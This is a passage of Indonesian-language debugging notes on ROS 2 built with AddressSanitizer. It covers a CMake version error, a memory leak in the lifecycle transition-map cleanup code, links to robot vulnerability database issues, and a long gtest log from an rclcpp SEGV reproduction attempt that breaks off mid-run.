root@robocalypse:/opt/ros2_ws# colcon build --build-base=build-asan --install-base=install-asan --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli -DCMAKE_BUILD_TYPE=Debug --mixin asan-gcc --symlink-install
Starting >>> ros2_ws
--- stderr: ros2_ws
CMake Error at CMakeLists.txt:1 (cmake_minimum_required):
CMake 3.14 or higher is required. You are running version 3.10.2
---
Failed <<< ros2_ws [ Exited with code 1 ]
Summary: 0 packages finished [18.6s]
1 package failed: ros2_ws
1 package had stderr output: ros2_ws
Saya memeriksa semua paket ROS2 dan tidak ada satu pun yang bergantung pada versi 3.14. Saya tidak tahu mengapa ini terjadi. Mungkin beberapa informasi meta. Hal yang sama terjadi di navigation2_ws. Oke, saya menemukan alasannya:
root@robocalypse:/opt/ros2_navigation2# ls
CMakeLists.txt build build-asan install install-asan log src
root@robocalypse:/opt/ros2_navigation2# rm CMakeLists.txt
root@robocalypse:/opt/ros2_navigation2# ls
build build-asan install install-asan log src
CLion sedang membuat berkas CMakeLists.txt.
Sebagai solusinya, saya menemukan bahwa membuat ws lain dan mencari sumbernya sebelum meluncurkan editor berfungsi sama baiknya.
Perkenalkan :
rcl_ret_t
rcl_lifecycle_transition_map_fini(
rcl_lifecycle_transition_map_t * transition_map,
const rcutils_allocator_t * allocator)
{
rcl_ret_t fcn_ret = RCL_RET_OK;
// free the primary states
allocator->deallocate(transition_map->states->valid_transitions, allocator->state);
allocator->deallocate(transition_map->states, allocator->state);
transition_map->states = NULL;
// free the tansitions
allocator->deallocate(transition_map->transitions, allocator->state);
transition_map->transitions = NULL;
return fcn_ret;
}
Tidak banyak membantu. Memori tetap sama, kebocorannya juga sama. Mari ikuti petunjuk new_valid_transitions: - 0x6080000305a0saat dialokasikan - NULL saat dilepaskan
Lihat gambar berikut:
valid_transitions menghilang!
valid_transitions menghilang!
https://github.com/aliasrobotics/RVD/issues/333 perbaikan.
Remediasi
Lihat https://github.com/aliasrobotics/RVD/issues/333
rclcpp: SEGV di alamat tidak diketahui https://github.com/aliasrobotics/RVD/issues/166
Mencoba mengulangi masalah ini tetapi pengujian berhasil. Telah dicoba dengan semua masalah dalam paket terkait:
/opt/ros2_ws/build-asan/rclcpp# du -a|grep "\./test_" | awk '{print $2}' | bash
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 3 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 3 tests from TestNodeOptions
[ RUN ] TestNodeOptions.ros_args_only
[ OK ] TestNodeOptions.ros_args_only (102 ms)
[ RUN ] TestNodeOptions.ros_args_and_non_ros_args
[ OK ] TestNodeOptions.ros_args_and_non_ros_args (1 ms)
[ RUN ] TestNodeOptions.bad_ros_args
[ OK ] TestNodeOptions.bad_ros_args (6 ms)
[----------] 3 tests from TestNodeOptions (109 ms total)
[----------] Global test environment tear-down
[==========] 3 tests from 1 test case ran. (110 ms total)
[ PASSED ] 3 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 14 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 14 tests from TestParameter
[ RUN ] TestParameter.not_set_variant
[ OK ] TestParameter.not_set_variant (2 ms)
[ RUN ] TestParameter.bool_variant
[ OK ] TestParameter.bool_variant (1 ms)
[ RUN ] TestParameter.integer_variant
[ OK ] TestParameter.integer_variant (0 ms)
[ RUN ] TestParameter.long_integer_variant
[ OK ] TestParameter.long_integer_variant (1 ms)
[ RUN ] TestParameter.float_variant
[ OK ] TestParameter.float_variant (1 ms)
[ RUN ] TestParameter.double_variant
[ OK ] TestParameter.double_variant (1 ms)
[ RUN ] TestParameter.string_variant
[ OK ] TestParameter.string_variant (2 ms)
[ RUN ] TestParameter.byte_array_variant
[ OK ] TestParameter.byte_array_variant (2 ms)
[ RUN ] TestParameter.bool_array_variant
[ OK ] TestParameter.bool_array_variant (1 ms)
[ RUN ] TestParameter.integer_array_variant
[ OK ] TestParameter.integer_array_variant (4 ms)
[ RUN ] TestParameter.long_integer_array_variant
[ OK ] TestParameter.long_integer_array_variant (1 ms)
[ RUN ] TestParameter.float_array_variant
[ OK ] TestParameter.float_array_variant (1 ms)
[ RUN ] TestParameter.double_array_variant
[ OK ] TestParameter.double_array_variant (1 ms)
[ RUN ] TestParameter.string_array_variant
[ OK ] TestParameter.string_array_variant (0 ms)
[----------] 14 tests from TestParameter (20 ms total)
[----------] Global test environment tear-down
[==========] 14 tests from 1 test case ran. (20 ms total)
[ PASSED ] 14 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 10 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 10 tests from TestIntraProcessManager
[ RUN ] TestIntraProcessManager.nominal
[ OK ] TestIntraProcessManager.nominal (1 ms)
[ RUN ] TestIntraProcessManager.remove_publisher_before_trying_to_take
[ OK ] TestIntraProcessManager.remove_publisher_before_trying_to_take (1 ms)
[ RUN ] TestIntraProcessManager.removed_subscription_affects_take
[ OK ] TestIntraProcessManager.removed_subscription_affects_take (0 ms)
[ RUN ] TestIntraProcessManager.multiple_subscriptions_one_publisher
[ OK ] TestIntraProcessManager.multiple_subscriptions_one_publisher (0 ms)
[ RUN ] TestIntraProcessManager.multiple_publishers_one_subscription
[ OK ] TestIntraProcessManager.multiple_publishers_one_subscription (1 ms)
[ RUN ] TestIntraProcessManager.multiple_publishers_multiple_subscription
[ OK ] TestIntraProcessManager.multiple_publishers_multiple_subscription (1 ms)
[ RUN ] TestIntraProcessManager.ring_buffer_displacement
[ OK ] TestIntraProcessManager.ring_buffer_displacement (1 ms)
[ RUN ] TestIntraProcessManager.subscription_creation_race_condition
[ OK ] TestIntraProcessManager.subscription_creation_race_condition (1 ms)
[ RUN ] TestIntraProcessManager.publisher_out_of_scope_take
[ OK ] TestIntraProcessManager.publisher_out_of_scope_take (0 ms)
[ RUN ] TestIntraProcessManager.publisher_out_of_scope_store
[ OK ] TestIntraProcessManager.publisher_out_of_scope_store (1 ms)
[----------] 10 tests from TestIntraProcessManager (8 ms total)
[----------] Global test environment tear-down
[==========] 10 tests from 1 test case ran. (9 ms total)
[ PASSED ] 10 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 7 tests from 2 test cases.
[----------] Global test environment set-up.
[----------] 6 tests from TestFunctionTraits
[ RUN ] TestFunctionTraits.arity
[ OK ] TestFunctionTraits.arity (0 ms)
[ RUN ] TestFunctionTraits.argument_types
[ OK ] TestFunctionTraits.argument_types (0 ms)
[ RUN ] TestFunctionTraits.check_arguments
[ OK ] TestFunctionTraits.check_arguments (0 ms)
[ RUN ] TestFunctionTraits.same_arguments
[ OK ] TestFunctionTraits.same_arguments (0 ms)
[ RUN ] TestFunctionTraits.return_type
[ OK ] TestFunctionTraits.return_type (0 ms)
[ RUN ] TestFunctionTraits.sfinae_match
[ OK ] TestFunctionTraits.sfinae_match (0 ms)
[----------] 6 tests from TestFunctionTraits (2 ms total)
[----------] 1 test from TestMember
[ RUN ] TestMember.bind_member_functor
[ OK ] TestMember.bind_member_functor (0 ms)
[----------] 1 test from TestMember (0 ms total)
[----------] Global test environment tear-down
[==========] 7 tests from 2 test cases ran. (4 ms total)
[ PASSED ] 7 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestCreateTimer
[ RUN ] TestCreateTimer.timer_executes
[ OK ] TestCreateTimer.timer_executes (147 ms)
[ RUN ] TestCreateTimer.call_with_node_wrapper_compiles
[ OK ] TestCreateTimer.call_with_node_wrapper_compiles (52 ms)
[----------] 2 tests from TestCreateTimer (199 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (200 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestWithDifferentNodeOptions/TestSubscriptionPublisherCount
[ RUN ] TestWithDifferentNodeOptions/TestSubscriptionPublisherCount.increasing_and_decreasing_counts/one_context_test
[ OK ] TestWithDifferentNodeOptions/TestSubscriptionPublisherCount.increasing_and_decreasing_counts/one_context_test (8205 ms)
[ RUN ] TestWithDifferentNodeOptions/TestSubscriptionPublisherCount.increasing_and_decreasing_counts/two_contexts_test
[ OK ] TestWithDifferentNodeOptions/TestSubscriptionPublisherCount.increasing_and_decreasing_counts/two_contexts_test (8294 ms)
[----------] 2 tests from TestWithDifferentNodeOptions/TestSubscriptionPublisherCount (16499 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (16502 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 6 tests from 3 test cases.
[----------] Global test environment set-up.
[----------] 2 tests from TestPublisher
[ RUN ] TestPublisher.construction_and_destruction
[ OK ] TestPublisher.construction_and_destruction (74 ms)
[ RUN ] TestPublisher.various_creation_signatures
[ OK ] TestPublisher.various_creation_signatures (36 ms)
[----------] 2 tests from TestPublisher (110 ms total)
[----------] 1 test from TestPublisherSub
[ RUN ] TestPublisherSub.construction_and_destruction
[ OK ] TestPublisherSub.construction_and_destruction (36 ms)
[----------] 1 test from TestPublisherSub (36 ms total)
[----------] 3 tests from TestPublisherThrows/TestPublisherInvalidIntraprocessQos
unknown file: Failure
C++ exception with description "context is already initialized" thrown in SetUpTestCase().
[ RUN ] TestPublisherThrows/TestPublisherInvalidIntraprocessQos.test_publisher_throws/transient_local_qos
[ OK ] TestPublisherThrows/TestPublisherInvalidIntraprocessQos.test_publisher_throws/transient_local_qos (60 ms)
[ RUN ] TestPublisherThrows/TestPublisherInvalidIntraprocessQos.test_publisher_throws/keep_last_qos_with_zero_history_depth
[ OK ] TestPublisherThrows/TestPublisherInvalidIntraprocessQos.test_publisher_throws/keep_last_qos_with_zero_history_depth (49 ms)
[ RUN ] TestPublisherThrows/TestPublisherInvalidIntraprocessQos.test_publisher_throws/keep_all_qos
[ OK ] TestPublisherThrows/TestPublisherInvalidIntraprocessQos.test_publisher_throws/keep_all_qos (47 ms)
[----------] 3 tests from TestPublisherThrows/TestPublisherInvalidIntraprocessQos (158 ms total)
[----------] Global test environment tear-down
[==========] 6 tests from 3 test cases ran. (330 ms total)
[ PASSED ] 6 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 7 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 7 tests from TestTime
[ RUN ] TestTime.clock_type_access
[ OK ] TestTime.clock_type_access (0 ms)
[ RUN ] TestTime.time_sources
[ OK ] TestTime.time_sources (1 ms)
[ RUN ] TestTime.conversions
[ OK ] TestTime.conversions (0 ms)
[ RUN ] TestTime.operators
[ OK ] TestTime.operators (1 ms)
[ RUN ] TestTime.overflow_detectors
[ OK ] TestTime.overflow_detectors (14 ms)
[ RUN ] TestTime.overflows
[ OK ] TestTime.overflows (0 ms)
[ RUN ] TestTime.seconds
[ OK ] TestTime.seconds (0 ms)
[----------] 7 tests from TestTime (16 ms total)
[----------] Global test environment tear-down
[==========] 7 tests from 1 test case ran. (17 ms total)
[ PASSED ] 7 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 36 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 36 tests from TestNode
[ RUN ] TestNode.construction_and_destruction
[ OK ] TestNode.construction_and_destruction (74 ms)
[ RUN ] TestNode.get_name_and_namespace
[ OK ] TestNode.get_name_and_namespace (545 ms)
[ RUN ] TestNode.subnode_get_name_and_namespace
[ OK ] TestNode.subnode_get_name_and_namespace (273 ms)
[ RUN ] TestNode.subnode_construction_and_destruction
[ OK ] TestNode.subnode_construction_and_destruction (371 ms)
[ RUN ] TestNode.get_logger
[ OK ] TestNode.get_logger (238 ms)
[ RUN ] TestNode.get_clock
[ OK ] TestNode.get_clock (43 ms)
[ RUN ] TestNode.now
[ OK ] TestNode.now (39 ms)
[ RUN ] TestNode.declare_parameter_with_no_initial_values
[ OK ] TestNode.declare_parameter_with_no_initial_values (51 ms)
[ RUN ] TestNode.test_registering_multiple_callbacks_api
[ OK ] TestNode.test_registering_multiple_callbacks_api (43 ms)
[ RUN ] TestNode.declare_parameter_with_overrides
[ OK ] TestNode.declare_parameter_with_overrides (53 ms)
[ RUN ] TestNode.declare_parameters_with_no_initial_values
[ OK ] TestNode.declare_parameters_with_no_initial_values (49 ms)
[ RUN ] TestNode.undeclare_parameter
[ OK ] TestNode.undeclare_parameter (45 ms)
[ RUN ] TestNode.has_parameter
[ OK ] TestNode.has_parameter (44 ms)
[ RUN ] TestNode.set_parameter_undeclared_parameters_not_allowed
[ OK ] TestNode.set_parameter_undeclared_parameters_not_allowed (72 ms)
[ RUN ] TestNode.set_parameter_undeclared_parameters_allowed
[ OK ] TestNode.set_parameter_undeclared_parameters_allowed (44 ms)
[ RUN ] TestNode.set_parameters_undeclared_parameters_not_allowed
[ OK ] TestNode.set_parameters_undeclared_parameters_not_allowed (54 ms)
[ RUN ] TestNode.set_parameters_undeclared_parameters_allowed
[ OK ] TestNode.set_parameters_undeclared_parameters_allowed (44 ms)
[ RUN ] TestNode.set_parameters_atomically_undeclared_parameters_not_allowed
[ OK ] TestNode.set_parameters_atomically_undeclared_parameters_not_allowed (52 ms)
[ RUN ] TestNode.set_parameters_atomically_undeclared_parameters_allowed
[ OK ] TestNode.set_parameters_atomically_undeclared_parameters_allowed (45 ms)
[ RUN ] TestNode.get_parameter_undeclared_parameters_not_allowed
[ OK ] TestNode.get_parameter_undeclared_parameters_not_allowed (47 ms)
[ RUN ] TestNode.get_parameter_undeclared_parameters_allowed
[ OK ] TestNode.get_parameter_undeclared_parameters_allowed (46 ms)
[ RUN ] TestNode.get_parameter_or_undeclared_parameters_not_allowed
[ OK ] TestNode.get_parameter_or_undeclared_parameters_not_allowed (45 ms)
[ RUN ] TestNode.get_parameter_or_undeclared_parameters_allowed
[ OK ] TestNode.get_parameter_or_undeclared_parameters_allowed (25 ms)
[ RUN ] TestNode.get_parameters_undeclared_parameters_not_allowed
[ OK ] TestNode.get_parameters_undeclared_parameters_not_allowed (65 ms)
[ RUN ] TestNode.get_parameters_undeclared_parameters_allowed
[ OK ] TestNode.get_parameters_undeclared_parameters_allowed (30 ms)
[ RUN ] TestNode.describe_parameter_undeclared_parameters_not_allowed
[ OK ] TestNode.describe_parameter_undeclared_parameters_not_allowed (37 ms)
[ RUN ] TestNode.describe_parameter_undeclared_parameters_allowed
[ OK ] TestNode.describe_parameter_undeclared_parameters_allowed (27 ms)
[ RUN ] TestNode.describe_parameters_undeclared_parameters_not_allowed
[ OK ] TestNode.describe_parameters_undeclared_parameters_not_allowed (28 ms)
[ RUN ] TestNode.describe_parameters_undeclared_parameters_allowed
[ OK ] TestNode.describe_parameters_undeclared_parameters_allowed (29 ms)
[ RUN ] TestNode.get_parameter_types_undeclared_parameters_not_allowed
[ OK ] TestNode.get_parameter_types_undeclared_parameters_not_allowed (26 ms)
[ RUN ] TestNode.get_parameter_types_undeclared_parameters_allowed
[ OK ] TestNode.get_parameter_types_undeclared_parameters_allowed (30 ms)
[ RUN ] TestNode.set_on_parameters_set_callback_get_parameter
[ OK ] TestNode.set_on_parameters_set_callback_get_parameter (32 ms)
[ RUN ] TestNode.set_on_parameters_set_callback_set_parameter
[ OK ] TestNode.set_on_parameters_set_callback_set_parameter (26 ms)
[ RUN ] TestNode.set_on_parameters_set_callback_declare_parameter
[ OK ] TestNode.set_on_parameters_set_callback_declare_parameter (28 ms)
[ RUN ] TestNode.set_on_parameters_set_callback_undeclare_parameter
[ OK ] TestNode.set_on_parameters_set_callback_undeclare_parameter (26 ms)
[ RUN ] TestNode.set_on_parameters_set_callback_set_on_parameters_set_callback
[ OK ] TestNode.set_on_parameters_set_callback_set_on_parameters_set_callback (35 ms)
[----------] 36 tests from TestNode (2766 ms total)
[----------] Global test environment tear-down
[==========] 36 tests from 1 test case ran. (2790 ms total)
[ PASSED ] 36 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 4 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 4 tests from TestUtilities
[ RUN ] TestUtilities.remove_ros_arguments
[ OK ] TestUtilities.remove_ros_arguments (1 ms)
[ RUN ] TestUtilities.remove_ros_arguments_null
[ OK ] TestUtilities.remove_ros_arguments_null (2 ms)
[ RUN ] TestUtilities.init_with_args
[ OK ] TestUtilities.init_with_args (21 ms)
[ RUN ] TestUtilities.multi_init
[ OK ] TestUtilities.multi_init (2 ms)
[----------] 4 tests from TestUtilities (30 ms total)
[----------] Global test environment tear-down
[==========] 4 tests from 1 test case ran. (33 ms total)
[ PASSED ] 4 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestFindWeakNodes
[ RUN ] TestFindWeakNodes.allocator_strategy_with_weak_nodes
[ OK ] TestFindWeakNodes.allocator_strategy_with_weak_nodes (127 ms)
[ RUN ] TestFindWeakNodes.allocator_strategy_no_weak_nodes
[ OK ] TestFindWeakNodes.allocator_strategy_no_weak_nodes (72 ms)
[----------] 2 tests from TestFindWeakNodes (199 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (222 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 2 test cases.
[----------] Global test environment set-up.
[----------] 1 test from TestService
[ RUN ] TestService.construction_and_destruction
[ OK ] TestService.construction_and_destruction (70 ms)
[----------] 1 test from TestService (70 ms total)
[----------] 1 test from TestServiceSub
[ RUN ] TestServiceSub.construction_and_destruction
[ OK ] TestServiceSub.construction_and_destruction (30 ms)
[----------] 1 test from TestServiceSub (31 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 2 test cases ran. (123 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 4 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 4 tests from TestWithDifferentNodeOptions/TestPublisherSubscriptionCount
[ RUN ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_intraprocess_comm
[ OK ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_intraprocess_comm (8152 ms)
[ RUN ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_one_intraprocess_one_not
[ OK ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_one_intraprocess_one_not (8140 ms)
[ RUN ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_in_two_contexts_with_intraprocess_comm
[ OK ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_in_two_contexts_with_intraprocess_comm (8116 ms)
[ RUN ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_in_two_contexts_without_intraprocess_comm
[ OK ] TestWithDifferentNodeOptions/TestPublisherSubscriptionCount.increasing_and_decreasing_counts/two_subscriptions_in_two_contexts_without_intraprocess_comm (8105 ms)
[----------] 4 tests from TestWithDifferentNodeOptions/TestPublisherSubscriptionCount (32513 ms total)
[----------] Global test environment tear-down
[==========] 4 tests from 1 test case ran. (32514 ms total)
[ PASSED ] 4 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestSerializedMessageAllocator
[ RUN ] TestSerializedMessageAllocator.default_allocator
[ OK ] TestSerializedMessageAllocator.default_allocator (1 ms)
[ RUN ] TestSerializedMessageAllocator.borrow_from_subscription
[ OK ] TestSerializedMessageAllocator.borrow_from_subscription (112 ms)
[----------] 2 tests from TestSerializedMessageAllocator (114 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (114 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 4 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 4 tests from TestTimer
[ RUN ] TestTimer.test_simple_cancel
[ OK ] TestTimer.test_simple_cancel (90 ms)
[ RUN ] TestTimer.test_is_canceled_reset
[ OK ] TestTimer.test_is_canceled_reset (34 ms)
[ RUN ] TestTimer.test_run_cancel_executor
[ OK ] TestTimer.test_run_cancel_executor (135 ms)
[ RUN ] TestTimer.test_run_cancel_timer
[ OK ] TestTimer.test_run_cancel_timer (135 ms)
[----------] 4 tests from TestTimer (394 ms total)
[----------] Global test environment tear-down
[==========] 4 tests from 1 test case ran. (394 ms total)
[ PASSED ] 4 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestRate
[ RUN ] TestRate.rate_basics
[ OK ] TestRate.rate_basics (504 ms)
[ RUN ] TestRate.wall_rate_basics
[ OK ] TestRate.wall_rate_basics (507 ms)
[----------] 2 tests from TestRate (1011 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (1011 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestExecutors
[ RUN ] TestExecutors.detachOnDestruction
[ OK ] TestExecutors.detachOnDestruction (66 ms)
[ RUN ] TestExecutors.addTemporaryNode
[ OK ] TestExecutors.addTemporaryNode (79 ms)
[----------] 2 tests from TestExecutors (145 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (168 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 15 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 15 tests from Test_parameter_map_from
[ RUN ] Test_parameter_map_from.null_c_parameter
[ OK ] Test_parameter_map_from.null_c_parameter (3 ms)
[ RUN ] Test_parameter_map_from.null_node_names
[ OK ] Test_parameter_map_from.null_node_names (2 ms)
[ RUN ] Test_parameter_map_from.null_node_params
[ OK ] Test_parameter_map_from.null_node_params (0 ms)
[ RUN ] Test_parameter_map_from.null_node_name_in_node_names
[ OK ] Test_parameter_map_from.null_node_name_in_node_names (0 ms)
[ RUN ] Test_parameter_map_from.null_node_param_value
[ OK ] Test_parameter_map_from.null_node_param_value (2 ms)
[ RUN ] Test_parameter_map_from.null_node_param_name
[ OK ] Test_parameter_map_from.null_node_param_name (0 ms)
[ RUN ] Test_parameter_map_from.bool_param_value
[ OK ] Test_parameter_map_from.bool_param_value (1 ms)
[ RUN ] Test_parameter_map_from.integer_param_value
[ OK ] Test_parameter_map_from.integer_param_value (0 ms)
[ RUN ] Test_parameter_map_from.double_param_value
[ OK ] Test_parameter_map_from.double_param_value (0 ms)
[ RUN ] Test_parameter_map_from.string_param_value
[ OK ] Test_parameter_map_from.string_param_value (0 ms)
[ RUN ] Test_parameter_map_from.byte_array_param_value
[ OK ] Test_parameter_map_from.byte_array_param_value (1 ms)
[ RUN ] Test_parameter_map_from.bool_array_param_value
[ OK ] Test_parameter_map_from.bool_array_param_value (1 ms)
[ RUN ] Test_parameter_map_from.integer_array_param_value
[ OK ] Test_parameter_map_from.integer_array_param_value (2 ms)
[ RUN ] Test_parameter_map_from.double_array_param_value
[ OK ] Test_parameter_map_from.double_array_param_value (0 ms)
[ RUN ] Test_parameter_map_from.string_array_param_value
[ OK ] Test_parameter_map_from.string_array_param_value (1 ms)
[----------] 15 tests from Test_parameter_map_from (13 ms total)
[----------] Global test environment tear-down
[==========] 15 tests from 1 test case ran. (14 ms total)
[ PASSED ] 15 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 3 tests from 2 test cases.
[----------] Global test environment set-up.
[----------] 2 tests from TestClient
[ RUN ] TestClient.construction_and_destruction
[ OK ] TestClient.construction_and_destruction (71 ms)
[ RUN ] TestClient.construction_with_free_function
[ OK ] TestClient.construction_with_free_function (36 ms)
[----------] 2 tests from TestClient (107 ms total)
[----------] 1 test from TestClientSub
[ RUN ] TestClientSub.construction_and_destruction
[ OK ] TestClientSub.construction_and_destruction (32 ms)
[----------] 1 test from TestClientSub (32 ms total)
[----------] Global test environment tear-down
[==========] 3 tests from 2 test cases ran. (162 ms total)
[ PASSED ] 3 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 1 test from 1 test case.
[----------] Global test environment set-up.
[----------] 1 test from TestMultiThreadedExecutor
[ RUN ] TestMultiThreadedExecutor.timer_over_take
[ OK ] TestMultiThreadedExecutor.timer_over_take (687 ms)
[----------] 1 test from TestMultiThreadedExecutor (687 ms total)
[----------] Global test environment tear-down
[==========] 1 test from 1 test case ran. (710 ms total)
[ PASSED ] 1 test.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestSubscriptionTraits
[ RUN ] TestSubscriptionTraits.is_serialized_callback
[ OK ] TestSubscriptionTraits.is_serialized_callback (0 ms)
[ RUN ] TestSubscriptionTraits.callback_messages
[ OK ] TestSubscriptionTraits.callback_messages (0 ms)
[----------] 2 tests from TestSubscriptionTraits (0 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (1 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 2 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 2 tests from TestNodeWithGlobalArgs
[ RUN ] TestNodeWithGlobalArgs.local_arguments_before_global
[ OK ] TestNodeWithGlobalArgs.local_arguments_before_global (63 ms)
[ RUN ] TestNodeWithGlobalArgs.use_or_ignore_global_arguments
[ OK ] TestNodeWithGlobalArgs.use_or_ignore_global_arguments (59 ms)
[----------] 2 tests from TestNodeWithGlobalArgs (122 ms total)
[----------] Global test environment tear-down
[==========] 2 tests from 1 test case ran. (146 ms total)
[ PASSED ] 2 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 10 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 10 tests from TestTimeSource
[ RUN ] TestTimeSource.detachUnattached
[ OK ] TestTimeSource.detachUnattached (63 ms)
[ RUN ] TestTimeSource.reattach
[ OK ] TestTimeSource.reattach (34 ms)
[ RUN ] TestTimeSource.ROS_time_valid_attach_detach
[ OK ] TestTimeSource.ROS_time_valid_attach_detach (33 ms)
[ RUN ] TestTimeSource.ROS_time_valid_wall_time
[ OK ] TestTimeSource.ROS_time_valid_wall_time (30 ms)
[ RUN ] TestTimeSource.ROS_time_valid_sim_time
[ OK ] TestTimeSource.ROS_time_valid_sim_time (1122 ms)
[ RUN ] TestTimeSource.clock
[ OK ] TestTimeSource.clock (5103 ms)
[ RUN ] TestTimeSource.callbacks
[ OK ] TestTimeSource.callbacks (5127 ms)
[ RUN ] TestTimeSource.callback_handler_erasure
[ OK ] TestTimeSource.callback_handler_erasure (73 ms)
[ RUN ] TestTimeSource.parameter_activation
[ OK ] TestTimeSource.parameter_activation (5527 ms)
[ RUN ] TestTimeSource.no_pre_jump_callback
[ OK ] TestTimeSource.no_pre_jump_callback (60 ms)
[----------] 10 tests from TestTimeSource (17174 ms total)
[----------] Global test environment tear-down
[==========] 10 tests from 1 test case ran. (17195 ms total)
[ PASSED ] 10 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 4 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 4 tests from TestExternallyDefinedServices
[ RUN ] TestExternallyDefinedServices.default_behavior
[ OK ] TestExternallyDefinedServices.default_behavior (72 ms)
[ RUN ] TestExternallyDefinedServices.extern_defined_uninitialized
[ OK ] TestExternallyDefinedServices.extern_defined_uninitialized (31 ms)
[ RUN ] TestExternallyDefinedServices.extern_defined_initialized
[ OK ] TestExternallyDefinedServices.extern_defined_initialized (32 ms)
[ RUN ] TestExternallyDefinedServices.extern_defined_destructor
[ OK ] TestExternallyDefinedServices.extern_defined_destructor (30 ms)
[----------] 4 tests from TestExternallyDefinedServices (165 ms total)
[----------] Global test environment tear-down
[==========] 4 tests from 1 test case ran. (186 ms total)
[ PASSED ] 4 tests.
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 6 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 6 tests from TestParameterEventFilter
